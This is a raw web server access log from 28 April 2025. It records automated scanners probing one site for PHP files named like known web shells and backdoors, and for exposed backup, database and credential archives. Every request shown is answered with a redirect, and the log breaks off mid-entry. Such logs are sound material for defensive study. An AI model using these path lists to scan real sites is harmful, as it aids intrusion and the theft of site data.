"-" 13.94.105.188 - - [28/Apr/2025:09:16:21 -0400] "GET /temp.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:23 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:08 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:10 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:12 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:14 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:16 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:18 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:19 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:21 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:22 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:23 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:24 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:25 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:26 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:27 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:28 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:29 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:30 -0400] "GET //wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:31 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:32 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:33 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:34 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:36 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:37 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:38 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:40 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:40 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:42 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:43 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:44 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:44 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:45 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:46 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:48 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:49 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:50 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:51 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:52 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:54 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:56 -0400] "GET /wp-includes/IXR/core.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:57 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:26 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:30 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:35 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:39 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:42 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:46 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:52 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:55 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:56 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:01 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:05 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:58 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:17:59 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:18:02 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:18:03 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:18:04 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 91.201.115.174 - - [28/Apr/2025:09:29:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /test.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /dump.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /backup_3.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /uploads.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /htdocs.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /Archive.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /website.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /webapps.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /wwwroot.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /upload.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /tmp.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /temp.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /Release.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /administration.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /conf/conf.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /support.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /app.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /ftp.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /administrators.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /inetpub.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /aws.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /base.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /s3.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /dashboard.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /home.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /websites.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /apps.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /backup_4.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /root.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /configuration.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /temporary.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /mail.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /index.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /site.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /backups.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /wordpress.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /web.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /dbase.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /dbdump.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /database.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /src.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /old.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /db.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /package.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /archive.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /mailer.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /sqllite.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /configs.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /conf.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /source.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /private.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /apis.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /credentials.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /mysql.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /bin.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /admin.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /output.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /html.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /backup_1.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /backup_2.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /www.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /public_html.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /users.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /db_backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /dbadmin.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /public.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /sql.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /data.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /bak.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /api.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /sqlite.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /config.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /back_up.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /os.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /lite.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 44.222.250.108 - - [28/Apr/2025:09:41:28 -0400] "GET /creds.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 162.62.213.165 - - [28/Apr/2025:10:00:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.65.237.89 - - [28/Apr/2025:10:30:54 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [28/Apr/2025:10:30:59 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [28/Apr/2025:10:31:30 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [28/Apr/2025:10:31:50 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [28/Apr/2025:10:32:10 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [28/Apr/2025:10:32:30 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 